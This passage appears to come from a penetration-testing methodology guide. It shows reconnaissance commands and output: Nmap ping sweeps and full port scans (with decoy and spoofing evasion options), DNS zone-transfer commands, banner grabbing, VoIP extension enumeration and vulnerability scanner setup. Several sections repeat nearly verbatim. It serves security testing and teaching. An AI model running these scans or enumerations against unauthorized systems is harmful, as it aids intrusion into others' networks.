Discovered open port 80/tcp on 74.117.116.73
```

On large IP sets, those greater than 100 IP addresses, do not specify a port range. The command that will be utilized is as follows:

```
nmap -A -O -PN <client ip range>/<CIDR> or <Mask> -oA NMap_<client ip range>
```

```
nmap -A -O -PN client.com -oA NMap_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:37 Eastern Daylight Time

Nmap scan report for client.com (74.117.116.73)
Host is up (0.13s latency).
rDNS record for 74.117.116.73: 74-117-116-73.parked.com
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 2 disallowed entries
|_/click.php /ud.php
|_http-title: client.com
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-favicon: Parked.com domain parking
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (92%), OpenBSD 4.X (88%), FreeBSD 6.X (88%)
```

It should be noted that Nmap has limited options for IPv6. These include TCP connect (-sT), Ping scan (-sn), List scan (-sL) and version detection.

```
nmap -6 -sT -P0 fe80::80a5:26f2:8db7:5d04%12

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:42 Eastern Daylight Time

Nmap scan report for lancelot (fe80::80a5:26f2:8db7:5d04)
Host is up (1.0s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-term-serv
5000/tcp  open  upnp
5001/tcp  open  commplex-link
5002/tcp  open  rfe
5003/tcp  open  filemaker
5004/tcp  open  avt-profile-1
5357/tcp  open  wsdapi
10243/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 287.05 seconds
```

SNMP Sweeps

SNMP sweeps are performed too as they offer tons of information about a specific system. The SNMP protocol is a stateless, datagram oriented protocol. Unfortunately SNMP servers don't respond to requests with invalid community strings and the underlying UDP protocol does not reliably report closed UDP ports. This means that "no response" from a probed IP address can mean either of the following:

- machine unreachable
- SNMP server not running
- invalid community string
- the response datagram has not yet arrived

SNMPEnum (Linux)

SNMPEnum is a perl script that sends SNMP requests to a single host, then waits for the response to come back and logs them.

Screenshot Here

SMTP Bounce Back

SMTP bounce back, also called a Non-Delivery Report/Receipt (NDR), a (failed) Delivery Status Notification (DSN) message, a Non-Delivery Notification (NDN) or simply a bounce, is an automated electronic mail message from a mail system informing the sender of another message about a delivery problem. This can be used to assist an attacker in fingerprint the SMTP server as SMTP server information, including software and versions, may be included in a bounce message.

Banner Grabbing

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports. Banner grabbing is used to identify network the version of applications and operating system that the target host are running.

Banner grabbing is usually performed on Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 respectively. Tools commonly used to perform banner grabbing are Telnet, nmap, and Netcat.

HTTP

```
JUNK / HTTP/1.0

HEAD / HTTP/9.3

OPTIONS / HTTP/1.0

HEAD / HTTP/1.0
```

Internal Footprinting

The Internal Footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction from an internal perspective. The goal is to gather as much information about the target as possible.

Active Footprinting

The active footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction.

Ping Sweeps

Active footprinting begins with the identification of live systems. This is usually performed by conducting a Ping sweep to determine which hosts respond.

Nmap (Windows/Linux)

Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
```

```
   -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
   -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
   -PO[protocol list]: IP Protocol Ping
   -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
   --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
   --system-dns: Use OS's DNS resolver
   --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
   -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
   -sU: UDP Scan
   -sN/sF/sX: TCP Null, FIN, and Xmas scans
   --scanflags <flags>: Customize TCP scan flags
   -sI <zombie host[:probeport]>: Idle scan
   -sY/sZ: SCTP INIT/COOKIE-ECHO scans
   -sO: IP protocol scan
   -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
   -p <port ranges>: Only scan specified ports
     Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
   -F: Fast mode - Scan fewer ports than the default scan
   -r: Scan ports consecutively - don't randomize
   --top-ports <number>: Scan <number> most common ports
   --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
   -sV: Probe open ports to determine service/version info
   --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
   --version-light: Limit to most likely probes (intensity 2)
   --version-all: Try every single probe (intensity 9)
   --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
   -sC: equivalent to --script=default
   --script=<Lua scripts>: <Lua scripts> is a comma separated list of
            directories, script-files or script-categories
   --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
   --script-trace: Show all data sent and received
   --script-updatedb: Update the script database.
OS DETECTION:
   -O: Enable OS detection
   --osscan-limit: Limit OS detection to promising targets
   --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
   Options which take <time> are in seconds, or append 'ms' (milliseconds),
   's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
   -T<0-5>: Set timing template (higher is faster)
   --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
   --min-parallelism/max-parallelism <numprobes>: Probe parallelization
   --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
       probe round trip time.
   --max-retries <tries>: Caps number of port scan probe retransmissions.
   --host-timeout <time>: Give up on target after this long
   --scan-delay/--max-scan-delay <time>: Adjust delay between probes
   --min-rate <number>: Send packets no slower than <number> per second
   --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
   -f; --mtu <val>: fragment packets (optionally w/given MTU)
   -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
   -S <IP_Address>: Spoof source address
   -e <iface>: Use specified interface
   -g/--source-port <portnum>: Use given port number
   --data-length <num>: Append random data to sent packets
   --ip-options <options>: Send packets with specified ip options
   --ttl <val>: Set IP time-to-live field
   --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
   --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
   -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
      and Grepable format, respectively, to the given filename.
   -oA <basename>: Output in the three major formats at once
   -v: Increase verbosity level (use -vv or more for greater effect)
   -d: Increase debugging level (use -dd or more for greater effect)
   --reason: Display the reason a port is in a particular state
   --open: Only show open (or possibly open) ports
   --packet-trace: Show all packets sent and received
   --iflist: Print host interfaces and routes (for debugging)
   --log-errors: Log errors/warnings to the normal-format output file
   --append-output: Append to rather than clobber specified output files
   --resume <filename>: Resume an aborted scan
   --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
   --webxml: Reference stylesheet from Nmap.Org for more portable XML
   --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
   -6: Enable IPv6 scanning
   -A: Enable OS detection, version detection, script scanning, and traceroute
   --datadir <dirname>: Specify custom Nmap data file location
   --send-eth/--send-ip: Send using raw ethernet frames or IP packets
   --privileged: Assume that the user is fully privileged
   --unprivileged: Assume the user lacks raw socket privileges
   -V: Print version number
```

```
   -h: Print this help summary page.
EXAMPLES:
   nmap -v -A scanme.nmap.org
   nmap -v -sn 192.168.0.0/16 10.0.0.0/8
   nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

To perform a ping sweep you would want to utilize the following command:

```
nmap -sn <client ip range>/<CIDR> or <Mask>
```

```
nmap -sn 10.25.0.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:58 Eastern Daylight Time

Nmap scan report for 10.25.0.1
Host is up (0.0030s latency).
MAC Address: C0:C1:C0:09:5C:16 (Unknown)
Nmap scan report for 10.25.0.111
Host is up (0.013s latency).
MAC Address: A8:E3:EE:97:3D:46 (Sony Computer Entertainment)
Nmap scan report for 10.25.0.113
Host is up.
Nmap scan report for 10.25.0.119
Host is up (0.018s latency).
MAC Address: 00:14:6C:B4:3A:93 (Netgear)
Nmap done: 256 IP addresses (4 hosts up) scanned in 6.19 seconds
```

Alive6 (Linux)

Alive6, which is part of the THC IPv6 Attack Toolkit, offers the most effective mechanism for detecting all IPv6 systems.

Screenshot Here

Alive6 offers numerous options, but can be simply run by just specifying the interface. This returns all the IPv6 systems that are live on the local-link.

Screenshot Here

Port Scanning

Nmap (Windows/Linux)

Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
   Can pass hostnames, IP addresses, networks, etc.
   Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
   -iL <inputfilename>: Input from list of hosts/networks
   -iR <num hosts>: Choose random targets
   --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
   --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
   -sL: List Scan - simply list targets to scan
   -sn: Ping Scan - disable port scan
   -Pn: Treat all hosts as online -- skip host discovery
   -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
```

```
   -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
   -PO[protocol list]: IP Protocol Ping
   -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
   --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
   --system-dns: Use OS's DNS resolver
   --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
   -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
   -sU: UDP Scan
   -sN/sF/sX: TCP Null, FIN, and Xmas scans
   --scanflags <flags>: Customize TCP scan flags
   -sI <zombie host[:probeport]>: Idle scan
   -sY/sZ: SCTP INIT/COOKIE-ECHO scans
   -sO: IP protocol scan
   -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
   -p <port ranges>: Only scan specified ports
     Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
   -F: Fast mode - Scan fewer ports than the default scan
   -r: Scan ports consecutively - don't randomize
   --top-ports <number>: Scan <number> most common ports
   --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
   -sV: Probe open ports to determine service/version info
   --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
   --version-light: Limit to most likely probes (intensity 2)
   --version-all: Try every single probe (intensity 9)
   --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
   -sC: equivalent to --script=default
   --script=<Lua scripts>: <Lua scripts> is a comma separated list of
            directories, script-files or script-categories
   --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
   --script-trace: Show all data sent and received
   --script-updatedb: Update the script database.
OS DETECTION:
   -O: Enable OS detection
   --osscan-limit: Limit OS detection to promising targets
   --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
   Options which take <time> are in seconds, or append 'ms' (milliseconds),
   's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
   -T<0-5>: Set timing template (higher is faster)
   --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
   --min-parallelism/max-parallelism <numprobes>: Probe parallelization
   --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
       probe round trip time.
   --max-retries <tries>: Caps number of port scan probe retransmissions.
   --host-timeout <time>: Give up on target after this long
   --scan-delay/--max-scan-delay <time>: Adjust delay between probes
   --min-rate <number>: Send packets no slower than <number> per second
   --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
   -f; --mtu <val>: fragment packets (optionally w/given MTU)
   -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
   -S <IP_Address>: Spoof source address
   -e <iface>: Use specified interface
   -g/--source-port <portnum>: Use given port number
   --data-length <num>: Append random data to sent packets
   --ip-options <options>: Send packets with specified ip options
   --ttl <val>: Set IP time-to-live field
   --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
   --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
   -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
      and Grepable format, respectively, to the given filename.
   -oA <basename>: Output in the three major formats at once
   -v: Increase verbosity level (use -vv or more for greater effect)
   -d: Increase debugging level (use -dd or more for greater effect)
   --reason: Display the reason a port is in a particular state
   --open: Only show open (or possibly open) ports
   --packet-trace: Show all packets sent and received
   --iflist: Print host interfaces and routes (for debugging)
   --log-errors: Log errors/warnings to the normal-format output file
   --append-output: Append to rather than clobber specified output files
   --resume <filename>: Resume an aborted scan
   --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
   --webxml: Reference stylesheet from Nmap.Org for more portable XML
   --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
   -6: Enable IPv6 scanning
   -A: Enable OS detection, version detection, script scanning, and traceroute
   --datadir <dirname>: Specify custom Nmap data file location
   --send-eth/--send-ip: Send using raw ethernet frames or IP packets
   --privileged: Assume that the user is fully privileged
   --unprivileged: Assume the user lacks raw socket privileges
   -V: Print version number
   -h: Print this help summary page.
```

```
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

Based on IP set being assessed, you would want to scan the both TCP and UDP across port range to 1-65535. The command that will be utilized is as follows:

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 <client ip range>/<CIDR> or <Mask> -oA NMap_FULL_<client ip range>
```

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 client.com -oA NMap_FULL_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:27 Eastern Daylight Time

NSE: Loaded 57 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 22:27
Completed Parallel DNS resolution of 1 host. at 22:27, 0.10s elapsed
Initiating SYN Stealth Scan at 22:27
Scanning client.com (74.117.116.73) [65535 ports]
Discovered open port 80/tcp on 74.117.116.73
```

On large IP sets, those greater than 100 IP addresses do not specify a port range. The command that will be utilized is as follows:

```
nmap -A -O -PN <client ip range>/<CIDR> or <Mask> -oA NMap_<client ip range>
```

```
nmap -A -O -PN client.com -oA NMap_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:37 Eastern Daylight Time

Nmap scan report for client.com (74.117.116.73)
Host is up (0.13s latency).
rDNS record for 74.117.116.73: 74-117-116-73.parked.com
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 2 disallowed entries
|_/click.php /ud.php
|_http-title: client.com
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-favicon: Parked.com domain parking
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (92%), OpenBSD 4.X (88%), FreeBSD 6.X (88%)
```

It should be noted that Nmap has limited options for IPv6. These include TCP connect (-sT), Ping scan (-sn), List scan (-sL) and version detection.

```
nmap -6 -sT -P0 fe80::80a5:26f2:8db7:5d04%12

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:42 Eastern Daylight Time

Nmap scan report for lancelot (fe80::80a5:26f2:8db7:5d04)
Host is up (1.0s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-term-serv
5000/tcp  open  upnp
5001/tcp  open  commplex-link
5002/tcp  open  rfe
5003/tcp  open  filemaker
```

```
5004/tcp  open  avt-profile-1
5357/tcp  open  wsdapi
10243/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 287.05 seconds
```

SNMP Sweeps

SNMP sweeps are performed too as they offer tons of information about a specific system. The SNMP protocol is a stateless, datagram oriented protocol. Unfortunately SNMP servers don't respond to requests with invalid community strings and the underlying UDP protocol does not reliably report closed UDP ports. This means that "no response" from a probed IP address can mean either of the following:

- Machine unreachable
- SNMP server not running
- invalid community string
- the response datagram has not yet arrived

SNMPEnum (Linux)

SNMPEnum is a perl script that sends SNMP requests to a single host, then waits for the response to come back and logs them.

Screenshot Here

Metasploit

Active footprinting can also be performed to a certain extent through Metasploit. Please refer to the Metasploit Unleashed (http://www.offensive-security.com/metasploit-unleashed/Information_Gathering) course for more information on this subject.

Zone Transfers

DNS zone transfer, also known as AXFR, is a type of DNS transaction. It is a mechanism designed to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (AXFR) and incremental (IXFR). There are numerous tools available to test the ability to perform a DNS zone transfer. Tools commonly used to perform zone transfers are host, dig and nmap.

Host

```
host  <domain> <DNS server>
```

Dig

```
dig @server domain axfr
```

SMTP Bounce Back

SMTP bounce back, also called a Non-Delivery Report/Receipt (NDR), a (failed) Delivery Status Notification (DSN) message, a Non-Delivery Notification (NDN) or simply a bounce, is an automated electronic mail message from a mail system informing the sender of another message about a delivery problem. This can be used to assist an attacker in fingerprint the SMTP server as SMTP server information, including software and versions, may be included in a bounce message.

Reverse DNS

Reverse DNS can be used to obtain valid server names in use within an organizational. There is a caveat that it must have a PTR (reverse) DNS record for it to resolve a name from a provided IP address. If it does resolve then the results are returned. This is usually performed by testing the server with various IP addresses to see if it returns any results.

Banner Grabbing

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports. Banner grabbing is used to identify network the version of applications and operating system that the target host are running.

Banner grabbing is usually performed on Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 respectively. Tools commonly used to perform banner grabbing are Telnet, nmap, netcat and netca6 (IPv6).

HTTP

```
JUNK / HTTP/1.0

HEAD / HTTP/9.3

OPTIONS / HTTP/1.0

HEAD / HTTP/1.0
```

httprint

httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as mod_security or servermask. httprint can also be used to detect web enabled devices which do not have a server banner string, such as wireless access points, routers, switches, cable modems, etc. httprint uses text signature strings and it is very easy to add signatures to the signature database.

Screenshot Here

VoIP mapping

VoIP mapping is where we gather information about the topology, the servers and the clients. The main goal here is to find live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions. The majority of techniques covered here assume a basic understanding of the *Session Initiation Protocol (SIP)*. There are several tools available to help us identify and enumerate VoIP enabled devices. SMAP is a tool which is specifically designed to scan for SIP enabled devices by generating SIP requests and awaiting responses. SMAP usage is as follows:

Screenshot Here

SIPScan is another scanner for sip enabled devices that can scan a single host or an entire subnet.

Screenshot Here

Extensions

Extensions are any client application or device that initiates a SIP connection, such as an IP phone, PC softphone, PC instant messaging client, or mobile device. The goal is to identify valid usernames or extensions of SIP devices. Enumerating extensions is usually a product of the error messages returned using the SIP method: REGISTER, OPTIONS, or INVITE. There are many tools that can be utilized to enumerate SIP devices. A tool that can be used to enumerate extensions is Svwar from the SIPVicious suite.

Svwar

Svwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER. Svwar usage is as follows:

Screenshot Here

enumIAX

If you've identified an Asterisk server is in use, you need to utilize a username guessing tool such as enumIAX to enumerate Asterisk Exchange protocol usernames. enumIAX is an Inter Asterisk Exchange version 2 (IAX2) protocol username brute-force enumerator. enumIAX may operate in two distinct modes; Sequential Username Guessing or Dictionary Attack. enumIAX usage is as follows:

Screenshot Here

Passive Reconnaissance

Packet Sniffing

Performing packet sniffing allows for the collection IP addresses and MAC addresses from systems that have packet traffic in the stream being analyzed. For the most part, packet sniffing is difficult to detect and so this form of recon is essentially passive and quite stealthy. By collecting and analyzing a large number of packets it becomes possible to fingerprint the operating system and the services that are running on a given device. It may also be possible to grab login information, password hashes, and other credentials from the packet stream. Telnet and older versions of SNMP pass credentials in plain text and are easily compromised with sniffing. Packet sniffing can also be useful in determining which servers act as critical infrastructure and therefore are of interest to an attacker.

Vulnerability Analysis

Vulnerability Analysis is used to identify and evaluate the security risks posed by identified vulnerabilities. Vulnerability analysis work is divided into two areas: Identification and validation. Vulnerability discovery effort is the key component of the Identification phase. Validation is reducing the number of identified vulnerabilities to only those that are actually valid.

Vulnerability Testing

Vulnerability Testing is divided to include both an Active and Passive method.

Active

Automated Tools

An automated scanner is designed to assess networks, hosts, and associated applications. There are a number of types of automated scanners available today, some focus on particular targets or types of targets. The core purpose of an automated scanner is the enumeration of vulnerabilities present on networks, hosts, and associated applications.

Network/General Vulnerability Scanners

Open Vulnerability Assessment System (OpenVAS) (Linux)

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools offering a

comprehensive and powerful vulnerability scanning and vulnerability management solution. OpenVAS is a fork of Nessus that allows free development of a non-proprietary tool.

Like the earlier versions of Nessus, OpenVAS consists of a Client and Scanner. To start the Scanner, simply run openvassd from the command line.

Screenshot Here

There are two ways in which you can run the OpenVAS Client, either the GUI or the command line interface. Using the menu you would select on OpenVAS Client. In the console it is "OpenVAS-Client."

Screenshot Here

Once the client starts up you will need to connect it to the scanner.

Screenshot Here

Submit in the supplied user credentials.

Screenshot Here

If you created a certificate then you supply it as well. You will then be presented with a certificate to accept. Click yes to continue.

Screenshot Here
Once you accept the certificate, OpenVAS will initialize and indicate the number of Found and Enabled plugins. This could take a while depending upon the number of plugins that need to be downloaded. Also, you need to ensure that you've added the appropriate /etc/hosts entries for both the IPv4 and IPv6 address. For example:

```
127.0.0.1       localhost
127.0.0.1       pentest
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback pentest localhost
```

Screenshot Here

Before scanning anything we need to configure the OpenVAS Scan Options. The General section covers all the general scan options. See Appendix A for the specific settings. To start a new scan, you use the Scan Assistant.

Screenshot Here

Once the Scan Assistant launches, you'll have to provide some information to create the task. First, you'll need to give the name of the task. This is usually the name of the client or some other name that describes what you're scanning. Once you've completed this, click Forward to continue.

Screenshot Here

A scope can be seen as a sub-task. It defines a certain scan and the title should indicate the scope of the scan such as "Internet Facing Systems" or "Aggressive Scan of Client X". Once you've completed this, click Forward to continue.

Screenshot Here

At this point you'll need to provide the target information. This can be in the form of a hostname, FQDN, IP Address, Network Range, CIDR. The only requirement is that they have to be separated with commas. Once you've completed this, click Forward to continue.

Screenshot Here

Finally, we're at the point where we can launch our scan. Click Execute to start the scan.

Screenshot Here

Screenshot Here

Screenshot Here

Screenshot Here

Nessus (Windows/Linux)

Nessus is a commercial automated scanning program. It is designed to detect potential vulnerabilities on the networks, hosts, and associated application being assessed. Nessus allows for custom policies to be utilized for specific evaluations. For non-Web applications, the policy that should be utilized is the "Only Safe Checks" policy (See Appendix A). For Web applications, the policy that should be utilized is the "Only Safe Checks (Web)" policy (See Appendix B).

To access Nessus simply enter in the correct URL into a web browser. If you are accessing from the Pentest Lab use the following URL: https://<IP ADDRESS>:8834.

Screenshot Here

The credentials to access this will need to be established prior to attempting to access. Once you have the logged in, you will be presented with the Reports Interface. Prior to running any Nessus scan, the product should be validated to ensure that it has been properly updated with the latest signatures. This process is normally run as part of a scheduled task, but you can run click on "About" which will present the Windows which contains data about the installation.

Screenshot Here

The Client Build ID is quick way to ensure that Nessus has been updated. The format is as simple as YYYYMMDD. 201110223 would mean that the scanner was last updated on February, 23, 2011.

Screenshot Here

If the scanner has been updated within the last week, you can safely conduct scans. If this date is further out than one week, you should immediately report this and avoid using the scanner until Nessus has been updated.

Within Nessus, there are four main tabs available: Reports, Scans, Policies, and Users.
Screenshot Here

To initiate a scan utilize the Scan tab. This will present you with several additional options such as Add, Edit, Browse, Launch, Pause, Stop, and Delete.

Screenshot Here

You will create a new scan by clicking on the "Scans" option on the menu bar at the top and then click on the "+ Add" button on the right. The "Add Scan" screen will be displayed as follows:
Screenshot Here

There are five fields to enter before starting a scan. The name field is set to the name that will be displayed to identify the scan. The type field allows you to choose between "Run Now" and "Template." "Run Now" executes the scan immediately after submitting. "Template" saves the scan as a template for repeated scans. The policy field is where the scan policy is selected. The final two fields are both related to the scan targets. You can either enter in the hosts (one per line) or browse for a text file containing all the target hosts.

Once all these fields have been properly populated click "Launch Scan" to initiate the scan process.

Note: Automated tools can sometimes be too aggressive by default and need to be scaled back if the customer is affected.

A validation scan should be conducted weekly against <IP ADDRESS> using the "Validation Scan" policy (See Appendix C) to ensure that Nessus is performing scans in properly.

Screenshot Here
If you conduct a "Validation Scan" and do not receive similar results, then you should immediately report this and void using the scanner.

Once the scan has completed running, it will be visible in the Reports tab. To open the scan reports simply double-click on the appropriate completed scan file. This will provide us with some information about the scan as well as the results.
Screenshot Here

We need to save this report for us to analyze. To do this, click on the "Download Report." This will present a new window that allows for the format to be specified.

Screenshot Here

The default format is ".nessus", however it is necessary to download the Nessus results in HTML format. This allows you to quickly review the vulnerabilities.

NeXpose

Nessus is a commercial automated scanning product that provides vulnerability management, policy compliance and remediation management. It is designed to detect vulnerabilities as well as policy compliance on the networks, hosts, and associated web applications.

To access NeXpose simply enter in the correct URL into a web browser. If you are accessing from the Pentest Lab use the following URL: https://<IP ADDRESS>:3780/login.html.

Screenshot Here

The credentials to access this will need to be established prior to attempting to access. Once you have the logged in, you will be presented with the dashboard Interface.

Screenshot Here
Prior to running any NeXpose scan, the product should be validated to ensure that it has been properly updated with the latest signatures. This process is normally run as part of a scheduled task, but you can quickly validate that it the scanner is up to date by simply viewing the 'News' which will give you a log file of all the updates to the scan engine as well as any updated checks.

Screenshot Here
If the scanner has been updated within the last week, you can safely conduct scans. If this date is further out than one week, you should immediately report this and void using the scanner until NeXpose has been updated.

Within NeXpose, there are six main tabs available: Home, Assets, Tickets, Reports, Vulnerabilities, and Administration.
Screenshot Here

To initiate a scan you will have to setup a 'New Site'. To perform this click on the 'New Site' button at the bottom of the Home Page or click on the Assets tab.

Screenshot Here

This will present you with the 'Site Configuration - General' page which contains several inputs such as Site name, Site importance, and Site Description.

Screenshot Here

Type a name for the target site. Then add a brief description for the site, and select a level of importance from the dropdown list. The importance level corresponds to a risk factor that NeXpose uses to calculate a risk index for each site. The 'Very Low' setting reduces a risk index to 1/3 of its initial value. The 'Low' setting reduces the risk index to 2/3 of its initial value. 'High' and 'Very High' settings increase the risk index to 2x and 3x times its initial value, respectively. A 'Normal' setting does not change the risk index.

Screenshot Here

Go to the *Devices* page to list assets for your new site. IP addresses and/or hostnames can be manually entered in the text box labeled *Devices to scan*. It is also possible to import a comma separated file that lists IP address and/or the host names of targets you want to scan. You do have to ensure that each address/hostname in the file appears on its own line.

To import a target list file, click the Browse' ***button in the*** *Included Device's'* area, and select the appropriate file.

If you need to exclude targets from a scan, the process is the sample however; it is performed under the area labeled '*Devices to Exclude'*.

Once the targets have been added, a scan template will need to be selected from the '*Scan Setup'* page. To select a scan template simply browse the available templates. The scan engine drop down allows you to choose between the local scan engine and the Rapid 7 hosted scan engine.

Screenshot Here

There are many templates available, however be aware that if you modify a template, all sites that use that scan template will use these modified settings. So ensure that modify an existing template with caution.

The default scan templates Denial of Service, Discovery scan, Discovery scan (aggressive), Exhaustive, Full audit, Internal DMZ audit, Linux RPMs, Microsoft hotfix, Payment Card Industry (PCI) audit, Penetration test, Safe network audit, Sarbanes-Oxley (SOX) compliance, SCADA audit, and Web audit. Specific settings for these templates are included in Appendix D

Finally, if you wish to schedule a scan to run automatically, click the check box labeled 'Enable schedule'. The console displays options for a start date and time, maximum scan duration in minutes, and frequency of repetition. If the scheduled scan runs and exceeds the maximum specified duration, it will pause for an interval that you specify in the option labeled 'Repeat every'. Select an option for what you want the scan to do after the pause interval.

